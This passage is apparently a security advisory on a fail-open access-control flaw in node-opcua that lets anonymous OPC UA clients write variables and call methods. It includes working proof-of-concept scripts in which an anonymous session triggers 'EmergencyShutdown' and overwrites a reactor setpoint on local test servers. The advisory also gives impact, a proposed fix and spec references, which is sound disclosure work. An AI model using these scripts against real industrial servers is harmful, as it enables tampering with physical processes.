`bindVariable()`:\n\n```ts\nmetaData.defaultRolePermissions?.bindVariable(\n    {\n        get: () =\u003e\n            new Variant({\n                dataType: DataType.ExtensionObject,\n                arrayType: VariantArrayType.Array,\n                value: namespace.getDefaultRolePermissions()\n            })\n    },\n    true\n);\n```\n\nWithout calling `setNamespaceMetaData()`, `setDefaultRolePermissions()` has **no effect** on runtime authorization. **Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `\"INamespace meta data already exists\"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.**\n\n---\n\n## Steps to Reproduce\n\n### PoC-A - Address-space level (unit test, no network)\n\nSave as `packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts`, then run:\n\n```bash\ncd packages/node-opcua-address-space\nnpx mocha ./test/test_poc_rbac_failopen.ts\n```\n\n```ts\nimport { makePermissionFlag } from \"node-opcua-data-model\";\nimport { PermissionType } from \"node-opcua-types\";\nimport { DataType } from \"node-opcua-variant\";\nimport should from \"should\";\nimport { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from \"..\";\nimport { getMiniAddressSpace } from \"../testHelpers\";\n\nconst _keep = should;\n\ndescribe(\"PoC RBAC fail-open\", () =\u003e {\n    let addressSpace: AddressSpace;\n    let namespace: Namespace;\n\n    before(async () =\u003e {\n        addressSpace = await getMiniAddressSpace();\n        namespace = addressSpace.getOwnNamespace();\n    });\n    after(() =\u003e addressSpace.dispose());\n\n    function anonymousContext(): SessionContext {\n        const ctx = new SessionContext();\n        ctx.getCurrentUserRoles = () =\u003e makeRoles([WellKnownRoles.Anonymous]);\n        return ctx;\n    }\n\n    it(\"A. CONTROL: per-node rolePermissions deny Anonymous\", () =\u003e {\n        const secured = namespace.addVariable({\n            browseName: \"SecuredWithNodePermissions\",\n            dataType: DataType.Double,\n            accessLevel: \"CurrentRead | CurrentWrite\",\n            userAccessLevel: \"CurrentRead | CurrentWrite\"\n        });\n        secured.setRolePermissions([\n            { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag(\"Read | Write\") }\n        ]);\n        const ctx = anonymousContext();\n        ctx.checkPermission(secured, PermissionType.Write).should.eql(false);\n    });\n\n    it(\"B. VULN: node relying on namespace-default -\u003e Anonymous gets Write\", () =\u003e {\n        const relyingOnDefault = namespace.addVariable({\n            browseName: \"RelyingOnNamespaceDefault\",\n            dataType: DataType.Double,\n            accessLevel: \"CurrentRead | CurrentWrite\",\n            userAccessLevel: \"CurrentRead | CurrentWrite\"\n        });\n        const ctx = anonymousContext();\n        const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);\n        should(applicable).eql(null, \"namespace default resolves to null (no namespace-metadata node)\");\n        ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);\n        relyingOnDefault.isUserWritable(ctx).should.eql(true);\n    });\n\n    it(\"C. VULN: bound Method without per-node permission -\u003e Anonymous can Call\", () =\u003e {\n        const obj = namespace.addObject({ browseName: \"PocObject\", organizedBy: addressSpace.rootFolder.objects });\n        const method = namespace.addMethod(obj, {\n            browseName: \"PrivilegedMethod\",\n            inputArguments: [],\n            outputArguments: []\n        });\n        method.bindMethod((inputArguments, context, callback) =\u003e callback(null, { statusCode: 0 as any }));\n        const ctx = anonymousContext();\n        ctx.checkPermission(method, PermissionType.Call).should.eql(true);\n        method.getUserExecutableFlag(ctx).should.eql(true);\n    });\n});\n```\n\n**Output:**\n\n```text\n  PoC RBAC fail-open\n    ✓ A. CONTROL: per-node rolePermissions deny Anonymous\n    ✓ B. VULN: node relying on namespace-default -\u003e Anonymous gets Write\n    ✓ C. VULN: bound Method without per-node permission -\u003e Anonymous can Call\n\n  3 passing\n```\n\n### PoC-B - End-to-end over TCP (programmatic namespace)\n\nSave as `packages/node-opcua/poc_b_e2e_rbac.js`, then run `node poc_b_e2e_rbac.js` (add `--safe` for the control):\n\n```js\nconst {\n    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,\n    MessageSecurityMode, SecurityPolicy, UserTokenType,\n    WellKnownRoles, makePermissionFlag, setNamespaceMetaData\n} = require(\"node-opcua\");\n\nconst PORT = 48411;\nconst ENDPOINT = `opc.tcp://localhost:${PORT}`;\nconst SAFE_MODE = process.argv.includes(\"--safe\");\nlet parentNodeId, methodNodeId, variableNodeId;\n\nasync function startServer() {\n    const server = new OPCUAServer({\n        port: PORT,\n        securityPolicies: [SecurityPolicy.None],\n        securityModes: [MessageSecurityMode.None],\n        allowAnonymous: true\n    });\n    await server.initialize();\n\n    const ns = server.engine.addressSpace.getOwnNamespace();\n\n    // Operator hardening: namespace-level RBAC, Anonymous excluded\n    ns.setDefaultRolePermissions([\n        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag(\"Read | Write | Browse | Call\") },\n        { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag(\"Read | Browse\") }\n    ]);\n    if (SAFE_MODE) {\n        setNamespaceMetaData(ns);\n    }\n\n    const device = ns.addObject({ browseName: \"PlantDevice_01\", organizedBy: server.engine.addressSpace.rootFolder.objects });\n    parentNodeId = device.nodeId;\n\n    const method = ns.addMethod(device, { browseName: \"EmergencyShutdown\", inputArguments: [], outputArguments: [] });\n    method.bindMethod((_in, _ctx, cb) =\u003e {\n        console.log(\"[server] EmergencyShutdown EXECUTED by anonymous caller\");\n        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });\n    });\n    methodNodeId = method.nodeId;\n\n    const variable = ns.addVariable({\n        browseName: \"ReactorSetpoint\",\n        componentOf: device,\n        dataType: DataType.Double,\n        accessLevel: \"CurrentRead | CurrentWrite\",\n        userAccessLevel: \"CurrentRead | CurrentWrite\",\n        value: { dataType: DataType.Double, value: 350.0 }\n    });\n    variableNodeId = variable.nodeId;\n\n    await server.start();\n    console.log(`[server] Listening on ${ENDPOINT}`);\n    return server;\n}\n\nasync function anonymousAttack() {\n    const client = OPCUAClient.create({\n        endpointMustExist: false,\n        securityMode: MessageSecurityMode.None,\n        securityPolicy: SecurityPolicy.None\n    });\n    await client.connect(ENDPOINT);\n    const session = await client.createSession({ type: UserTokenType.Anonymous });\n    console.log(\"[client] Anonymous session activated\");\n\n    let callStatus;\n    try {\n        const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });\n        callStatus = r.statusCode.toString();\n    } catch (e) { callStatus = e.message; }\n\n    let writeStatus;\n    try {\n        const r = await session.write({\n            nodeId: variableNodeId,\n            attributeId: AttributeIds.Value,\n            value: { value: { dataType: DataType.Double, value: 999.0 } }\n        });\n        writeStatus = r.toString();\n    } catch (e) { writeStatus = e.message; }\n\n    await session.close();\n    await client.disconnect();\n    return { callStatus, writeStatus };\n}\n\n(async () =\u003e {\n    const server = await startServer();\n    try {\n        const { callStatus, writeStatus } = await anonymousAttack();\n        console.log(`\\nMode: ${SAFE_MODE ? \"SAFE\" : \"VULNERABLE\"}`);\n        console.log(`CALL  EmergencyShutdown : ${callStatus}`);\n        console.log(`WRITE ReactorSetpoint   : ${writeStatus}`);\n        const vuln = callStatus.includes(\"Good\") || writeStatus.includes(\"Good\");\n        console.log(vuln ? \"\\nVULNERABLE - Anonymous bypassed namespace RBAC\" : \"\\nSAFE - RBAC correctly enforced\");\n    } finally {\n        await server.shutdown();\n    }\n})().catch(e =\u003e { console.error(e); process.exit(1); });\n```\n\n**Vulnerable output** (`node poc_b_e2e_rbac.js`):\n\n```text\n[server] EmergencyShutdown EXECUTED by anonymous caller\nMode: VULNERABLE\nCALL  EmergencyShutdown : Good (0x00000000)\nWRITE ReactorSetpoint   : Good (0x00000000)\n```\n\n**Control output** (`node poc_b_e2e_rbac.js --safe`):\n\n```text\nMode: SAFE\nCALL  EmergencyShutdown : BadUserAccessDenied (0x801f0000)\nWRITE ReactorSetpoint   : BadUserAccessDenied (0x801f0000)\n```\n\n### PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)\n\nSave as `packages/node-opcua/poc_c_nodeset_rbac.js`, then run `node poc_c_nodeset_rbac.js`:\n\n```js\nconst {\n    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,\n    MessageSecurityMode, SecurityPolicy, UserTokenType,\n    WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets\n} = require(\"node-opcua\");\n\nconst PORT = 48412, DI_URI = \"http://opcfoundation.org/UA/DI/\";\nlet deviceId, methodId, variableId;\n\nasync function startServer() {\n    const server = new OPCUAServer({\n        port: PORT,\n        securityPolicies: [SecurityPolicy.None],\n        securityModes: [MessageSecurityMode.None],\n        allowAnonymous: true,\n        nodeset_filename: [nodesets.standard, nodesets.di]\n    });\n    await server.initialize();\n\n    const di = server.engine.addressSpace.getNamespace(DI_URI);\n    di.setDefaultRolePermissions([\n        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag(\"Read | Write | Browse | Call\") }\n    ]);\n    try {\n        setNamespaceMetaData(di);\n        console.log(\"[server] hardening: metadata bound\");\n    } catch (e) {\n        console.log(\"[server] hardening FAILED:\", e.message);\n    }\n\n    const device = di.addObject({ browseName: \"Pump01\", organizedBy: server.engine.addressSpace.rootFolder.objects });\n    deviceId = device.nodeId;\n\n    const m = di.addMethod(device, { browseName: \"Stop\", inputArguments: [], outputArguments: [] });\n    m.bindMethod((_i, _c, cb) =\u003e {\n        console.log(\"[server] Stop() EXECUTED by anonymous\");\n        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });\n    });\n    methodId = m.nodeId;\n\n    const v = di.addVariable({\n        browseName: \"Setpoint\",\n        componentOf: device,\n        dataType: DataType.Double,\n        accessLevel: \"CurrentRead | CurrentWrite\",\n        userAccessLevel: \"CurrentRead | CurrentWrite\",\n        value: { dataType: DataType.Double, value: 42 }\n    });\n    variableId = v.nodeId;\n\n    await server.start();\n    return server;\n}\n\nasync function attack() {\n    const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });\n    await client.connect(`opc.tcp://localhost:${PORT}`);\n    const s = await client.createSession({ type: UserTokenType.Anonymous });\n    const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();\n    const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();\n    await s.close();\n    await client.disconnect();\n    console.log(\"CALL  Stop()   :\", call);\n    console.log(\"WRITE Setpoint :\", write);\n}\n\n(async () =\u003e {\n    const srv = await startServer();\n    try { await attack(); } finally { await srv.shutdown(); }\n})().catch(e =\u003e { console.error(e); process.exit(1); });\n```\n\n**Output:**\n\n```text\n[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/\n[server] Stop() EXECUTED by anonymous\nCALL  Stop()   : Good (0x00000000)\nWRITE Setpoint : Good (0x00000000)\n```\n\n---\n\n## Impact\n\n- **Write** arbitrary values to Variables (`CurrentWrite`) governed only by namespace-level RBAC,  e.g. process setpoints, safety parameters.\n- **Call** bound Methods. Methods have no AccessLevel second gate; `executable` defaults to `true` for bound methods (`ua_method_impl.ts`).\n- Affects **every Node** relying on the namespace `DefaultRolePermissions` inheritance mandated by OPC 10000-3 §5.2.9.\n- Anonymous receives **every** `PermissionFlag` because `null` resolves to `allPermissions`.\n- Availability impact (**A:H**, CVSS **9.8**) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored `A:N` as deployment-specific.\n\n## What is NOT affected\n\nServers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.\n\n- Nodes with explicit **per-node** `RolePermissions` (correctly enforced - PoC-A case A).\n- Programmatically-created namespaces where the operator calls **both** `setDefaultRolePermissions()` **and** `setNamespaceMetaData()` (PoC-B `--safe`).\n- Variables without `CurrentWrite` in AccessLevel (the **Call** vector still applies to Methods).\n\n---\n\n## Proposed Fix\n\n1. **Fail-closed** - `getPermissionForRole(null)` should return `PermissionFlag.None`, not `allPermissions` (per §4.8.3 default-deny).\n2. **Coherent path** - `getApplicableRolePermissions()` should use `node.getRolePermissions(inherited=true)`, which already reads the namespace field correctly.\n3. **API safety** - `setDefaultRolePermissions()` should take effect on enforcement directly, without requiring `setNamespaceMetaData()` (which throws on nodeset-loaded namespaces).\n4. **Hardening** - `server_engine.ts:947-957` should not unconditionally reset `DefaultRolePermissions`.\n\n---\n\n## Spec Reference (verified verbatim against the official OPC Foundation reference)\n\n- **OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles:** *\"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns `Bad_UserAccessDenied`.\"* (default-deny, the behaviour Bug 1 inverts). \u003chttps://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3\u003e\n- **OPC 10000-3 §5.2.9 - RolePermissions:** *\"If not specified, the value of `DefaultRolePermissions` Property from the `NamespaceMetadata` Object associated with the Node shall be used instead.\"* and *\"If a Server supports Permissions for a particular Namespace it shall add the `DefaultRolePermissions` Property to the `NamespaceMetadata` Object for that Namespace.\"* \u003chttps://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9\u003e\n- **OPC 10000-5 §6.3.13 - NamespaceMetadataType** (defines `DefaultRolePermissions` / `DefaultUserRolePermissions` as Properties of the `NamespaceMetadata` Object). \u003chttps://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13\u003e","status":"published","published":"2026-11-10T15:56:52Z","modified":"2026-11-10T16:15:06.041435235Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-1188","CWE-285","CWE-636","CWE-863"],"updated_at":"2026-11-10T16:33:19.155293Z"}]}}
